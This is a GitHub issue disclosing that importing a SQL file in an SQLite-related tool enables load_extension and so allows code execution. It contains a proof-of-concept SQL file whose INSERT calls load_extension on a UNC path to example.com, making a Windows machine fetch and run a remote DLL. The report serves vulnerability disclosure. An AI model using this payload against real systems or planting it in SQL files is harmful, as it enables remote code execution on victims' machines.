Skip to content

Importing a malicious sql file can lead to code execution #1551

@Pyriphlegethon

Description

@Pyriphlegethon

When importing a sql file the load_extension function is enabled. An attacker can craft a malicious sql file like this:

BEGIN TRANSACTION;
CREATE TABLE `test` (
	`id`	INTEGER
);
INSERT INTO `test` VALUES (load_extension("\\example.com\sqlite_extension.dll", "hello"));
COMMIT;

On a Windows machine this sql file will download sqlite_extension.dll from example.com and then execute the function hello.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions